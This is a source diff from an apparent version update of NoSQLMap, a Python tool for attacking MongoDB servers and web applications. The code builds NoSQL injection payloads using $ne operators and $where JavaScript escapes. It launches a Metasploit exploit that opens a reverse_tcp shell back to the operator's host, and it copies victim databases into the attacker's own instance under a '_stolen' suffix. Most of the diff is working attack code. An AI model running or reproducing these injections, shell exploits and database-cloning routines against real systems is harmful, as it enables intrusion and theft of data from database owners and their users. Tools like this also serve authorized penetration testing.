23
23
import pymongo
24
24
import subprocess
25
25
26
- #Set a list so we can track whether options are set or not
26
+ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
27
27
global optionSet
28
28
optionSet = [False ,False ,False ,False ,False ,False ]
29
29
@@ -32,7 +32,7 @@ def mainMenu():
32
32
select = True
33
33
while select :
34
34
os .system ('clear' )
35
- print "NoSQLMap v0.08a -by Russell Butturini([email protected] )"
35
+ print "NoSQLMap v0.09 -by Russell Butturini([email protected] )"
36
36
print "\n "
37
37
print "1-Set options (do this first)"
38
38
print "2-NoSQL DB Access Attacks"
@@ -47,12 +47,16 @@ def mainMenu():
47
47
elif select == "2" :
48
48
if optionSet [0 ] == True :
49
49
netAttacks (victim )
50
+
51
+ #Check minimum required options
50
52
else :
51
53
raw_input ("Target not set! Check options. Press enter to continue..." )
52
54
mainMenu ()
53
55
54
56
57
+
55
58
elif select == "3" :
59
+ #Check minimum required options
56
60
if (optionSet [0 ] == True ) and (optionSet [2 ] == True ):
57
61
webApps ()
58
62
@@ -76,7 +80,7 @@ def options():
76
80
global myIP
77
81
global myPort
78
82
79
-
83
+ #Set default value if needed
80
84
if optionSet [0 ] == False :
81
85
victim = "Not Set"
82
86
if optionSet [1 ] == False :
@@ -107,22 +111,23 @@ def options():
107
111
108
112
if select == "1" :
109
113
victim = raw_input ("Enter the host IP/DNS name: " )
110
- print "Target set to " + victim + "\n "
114
+ print "\n Target set to " + victim + "\n "
111
115
optionSet [0 ] = True
112
116
options ()
113
117
114
118
elif select == "2" :
115
119
webPort = raw_input ("Enter the HTTP port for web apps: " )
116
- print "HTTP port set to " + webPort + "\n "
120
+ print "\n HTTP port set to " + webPort + "\n "
117
121
optionSet [1 ] = True
118
122
options ()
119
123
120
124
elif select == "3" :
121
125
uri = raw_input ("Enter URI Path (Press enter for no URI): " )
122
- print "URI Path set to " + uri + "\n "
126
+ print "\n URI Path set to " + uri + "\n "
123
127
optionSet [2 ] = True
124
128
options ()
125
129
130
+ #NOT IMPLEMENTED YET FOR USE
126
131
elif select == "4" :
127
132
httpMethod = True
128
133
while httpMethod :
@@ -161,8 +166,10 @@ def options():
161
166
def netAttacks (target ):
162
167
mgtOpen = False
163
168
webOpen = False
169
+ #This is a global for future use with other modules; may change
164
170
global dbList
165
171
172
+ #Check for default config
166
173
try :
167
174
conn = pymongo .MongoClient (target ,27017 )
168
175
print "MongoDB port open on " + target + ":27017!"
@@ -176,6 +183,7 @@ def netAttacks(target):
176
183
177
184
178
185
try :
186
+ #Future rev: Add web management interface parsing
179
187
mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
180
188
if mgtRespCode == 200 :
181
189
print "MongoDB web management open at " + mgtUrl + ". Check this out!"
@@ -186,7 +194,7 @@ def netAttacks(target):
186
194
print "MongoDB web management closed."
187
195
188
196
if mgtOpen == True :
189
-
197
+ #Ths is compiling server info?????
190
198
print "Server Info:"
191
199
serverInfo = conn .server_info ()
192
200
print serverInfo
@@ -205,11 +213,12 @@ def netAttacks(target):
205
213
getShell = raw_input ("Try to get a shell? (Requrires mongoDB <2.2.4)?" )
206
214
207
215
if getShell == "y" or getShell == "Y" :
208
- #try:
209
- proc = subprocess .call ("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str (victim ) + " DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str (myIP ) + " LPORT=" + str (myPort ) + " E" , shell = True )
216
+ #Launch Metasploit exploit
217
+ try :
218
+ proc = subprocess .call ("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str (victim ) + " DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str (myIP ) + " LPORT=" + str (myPort ) + " E" , shell = True )
210
219
211
- # except:
212
- # print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
220
+ except :
221
+ print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
213
222
214
223
raw_input ("Press enter to continue..." )
215
224
return ()
@@ -219,6 +228,10 @@ def netAttacks(target):
219
228
def webApps ():
220
229
paramName = []
221
230
paramValue = []
231
+ vulnAddrs = []
232
+ possAddrs = []
233
+
234
+ #Verify app is working.
222
235
print "Checking to see if site at " + str (victim ) + ":" + str (webPort ) + str (uri ) + " is up..."
223
236
224
237
appURL = "http://" + str (victim ) + ":" + str (webPort ) + str (uri )
@@ -242,6 +255,8 @@ def webApps():
242
255
injectString = randInjString (int (injectSize ))
243
256
print "Using " + injectString + " for injection testing.\n "
244
257
258
+ #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
259
+ #Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
245
260
randomUri = buildUri (appURL ,injectString )
246
261
print "Checking random injected parameter HTTP response size using " + randomUri + "...\n "
247
262
randLength = int (len (urllib .urlopen (randomUri ).read ()))
@@ -262,101 +277,121 @@ def webApps():
262
277
263
278
if (randInjDelta >= 100 ) and (injLen != 0 ) :
264
279
print "Not equals injection response varied " + str (randInjDelta ) + " bytes from random parameter! Injection works!"
280
+ vulnAddrs .append (neqUri )
265
281
266
282
elif (randInjDelta > 0 ) and (randInjDelta < 100 ) and (injLen != 0 ) :
267
283
print "Response variance was only " + str (randInjDelta ) + " bytes. Injection might have worked but difference is too small to be certain. "
284
+ possAddrs .append (neqUri )
268
285
269
286
elif (randInjDelta == 0 ):
270
287
print "Random string response size and not equals injection were the same. Injection did not work."
271
288
else :
272
289
print "Injected response was smaller than random response. Injection may have worked but requires verification."
290
+ possAddrs .append (neqUri )
273
291
274
292
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n "
275
293
print " Injecting " + whereStrUri
294
+
276
295
whereStrLen = int (len (urllib .urlopen (whereStrUri ).read ()))
277
296
whereStrDelta = abs (whereStrLen - randLength )
278
297
279
298
if (whereStrDelta >= 100 ) and (whereStrLen > 0 ):
280
299
print "Java $where escape varied " + str (whereStrDelta ) + " bytes from random parameter! Where injection works!"
300
+ vulnAddrs .append (whereStrUri )
281
301
282
302
elif (whereStrDelta > 0 ) and (whereStrDelta < 100 ) and (whereStrLen - randLength > 0 ):
283
303
print " response variance was only " + str (whereStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
284
-
304
+ possAddrs .append (whereStrUri )
305
+
285
306
elif (whereStrDelta == 0 ):
286
307
print "Random string response size and $where injection were the same. Injection did not work."
287
308
288
309
else :
289
310
print "Injected response was smaller than random response. Injection may have worked but requires verification."
311
+ possAddrs .append (whereStrUri )
290
312
291
313
print "\n "
292
314
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n "
293
315
print " Injecting " + whereIntUri
294
316
295
317
whereIntLen = int (len (urllib .urlopen (whereIntUri ).read ()))
296
318
whereIntDelta = abs (whereIntLen - randLength )
297
- #print "whereIntLen debug: " + str(whereIntLen)
298
- #print "whereIntDelta debug: " + str(whereIntDelta)
299
319
300
320
if (whereIntDelta >= 100 ) and (whereIntLen - randLength > 0 ):
301
321
print "Java $where escape varied " + str (whereIntDelta ) + " bytes from random parameter! Where injection works!"
302
-
322
+ vulnAddrs .append (whereIntUri )
323
+
303
324
elif (whereIntDelta > 0 ) and (whereIntDelta < 100 ) and (whereIntLen - randLength > 0 ):
304
325
print " response variance was only " + str (whereIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
305
-
326
+ possAddrs .append (whereIntUri )
327
+
306
328
elif (whereIntDelta == 0 ):
307
329
print "Random string response size and $where injection were the same. Injection did not work."
308
330
309
331
else :
310
332
print "Injected response was smaller than random response. Injection may have worked but requires verification."
311
- #Start a single record attack
333
+ possAddrs .append (whereIntUri )
334
+
335
+ #Start a single record attack in case the app expects only one record back
312
336
313
337
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n "
314
338
print " Injecting " + whereOneStr
315
339
316
- if (str (urllib .urlopen (whereOneStr ).read ()).find ('Error' ) != - 1 ):
317
- whereOneStrLen = int (len (urllib .urlopen (whereOneStr ).read ()))
318
- whereOneStrDelta = abs (whereOneStrLen - randLength )
319
- else :
320
- whereOneStrDelta = 0
340
+
341
+ whereOneStrLen = int (len (urllib .urlopen (whereOneStr ).read ()))
342
+ whereOneStrDelta = abs (whereOneStrLen - randLength )
321
343
322
344
if (whereOneStrDelta >= 100 ) and (whereOneStrLen - randLength > 0 ):
323
345
print "Java $where escape varied " + str (whereOneStrDelta ) + " bytes from random parameter! Where injection works!"
346
+ vulnAddrs .append (whereOneStr )
324
347
325
348
elif (whereOneStrDelta > 0 ) and (whereOneStrDelta < 100 ) and (whereOneStrLen - randLength > 0 ):
326
349
print " response variance was only " + str (whereOneStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
327
-
350
+ possAddrs .append (whereOneStr )
351
+
328
352
elif (whereOneStrDelta == 0 ):
329
353
print "Random string response size and $where single injection were the same. Injection did not work."
330
354
331
355
else :
332
356
print "Injected response was smaller than random response. Injection may have worked but requires verification."
357
+ possAddrs .append (whereOneStr )
358
+
333
359
print "\n "
334
360
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n "
335
361
print " Injecting " + whereOneInt
336
362
337
- if (str (urllib .urlopen (whereOneInt ).read ()).find ('Error' ) != - 1 ):
338
- whereOneIntLen = int (len (urllib .urlopen (whereOneInt ).read ()))
339
- whereOneIntDelta = abs (whereIntLen - randLength )
340
363
341
- else :
342
- whereOneIntDelta = 0
364
+ whereOneIntLen = int ( len ( urllib . urlopen ( whereOneInt ). read ()))
365
+ whereOneIntDelta = abs ( whereIntLen - randLength )
343
366
344
367
if (whereOneIntDelta >= 100 ) and (whereOneIntLen - randLength > 0 ):
345
368
print "Java $where escape varied " + str (whereOneIntDelta ) + " bytes from random parameter! Where injection works!"
369
+ vulnAddrs .append (whereOneInt )
346
370
347
371
elif (whereOneIntDelta > 0 ) and (whereOneIntDelta < 100 ) and (whereOneIntLen - randLength > 0 ):
348
372
print " response variance was only " + str (whereOneIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
349
-
373
+ possAddrs .append (whereOneInt )
374
+
350
375
elif (whereOneIntDelta == 0 ):
351
376
print "Random string response size and $where single record injection were the same. Injection did not work."
352
-
377
+
353
378
else :
354
379
print "Injected response was smaller than random response. Injection may have worked but requires verification."
355
-
380
+ possAddrs .append (whereOneInt )
381
+
382
+ print "\n "
383
+ print "Vunerable URLs:"
384
+ print "\n " .join (vulnAddrs )
385
+ print "\n "
386
+ print ""
387
+ print "Possibly vulnerable URLS:"
388
+ print "\n " .join (possAddrs )
389
+
356
390
raw_input ("Press enter to continue..." )
357
391
return ()
358
392
359
393
def randInjString (size ):
394
+ #add more specific params (such as only letters, only numbers, etc.)
360
395
chars = string .ascii_letters + string .digits
361
396
return '' .join (random .choice (chars ) for x in range (size ))
362
397
@@ -369,6 +404,7 @@ def buildUri(origUri, randValue):
369
404
global whereOneStr
370
405
global whereOneInt
371
406
407
+ #Split the string between the path and parameters, and then split each parameter
372
408
split_uri = origUri .split ("?" )
373
409
params = split_uri [1 ].split ("&" )
374
410
@@ -393,9 +429,9 @@ def buildUri(origUri, randValue):
393
429
evilUri += paramName [x ] + "=" + randValue + "&"
394
430
neqUri += paramName [x ] + "[$ne]=" + randValue + "&"
395
431
whereStrUri += paramName [x ] + "=a'; return db.a.find(); var dummy='!" + "&"
396
- whereIntUri += paramName [x ] + "=a; return db.a.find(); var dummy='! " + "&"
432
+ whereIntUri += paramName [x ] + "=a; return db.a.find(); var dummy=1 " + "&"
397
433
whereOneStr += paramName [x ] + "=a'; return db.a.findOne(); var dummy='!" + "&"
398
- whereOneInt += paramName [x ] + "=a; return db.a.findOne(); var dummy='! " + "&"
434
+ whereOneInt += paramName [x ] + "=a; return db.a.findOne(); var dummy=1 " + "&"
399
435
else :
400
436
evilUri += paramName [x ] + "=" + paramValue [x ] + "&"
401
437
neqUri += paramName [x ] + "=" + paramValue [x ] + "&"
@@ -405,7 +441,7 @@ def buildUri(origUri, randValue):
405
441
whereOneInt += paramName [x ] + "=" + paramValue [x ] + "&"
406
442
407
443
x += 1
408
- #Clip the last & off
444
+ #Clip the extra & off the end of the URL
409
445
evilUri = evilUri [:- 1 ]
410
446
neqUri = neqUri [:- 1 ]
411
447
whereStrUri = whereStrUri [:- 1 ]
@@ -430,6 +466,7 @@ def stealDBs(myDB):
430
466
stealDBs (myDB )
431
467
432
468
try :
469
+ #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
433
470
myDBConn = pymongo .MongoClient (myDB ,27017 )
434
471
myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim )
435
472
cloneAnother = raw_input ("Database cloned. Copy another?" )
0 commit comments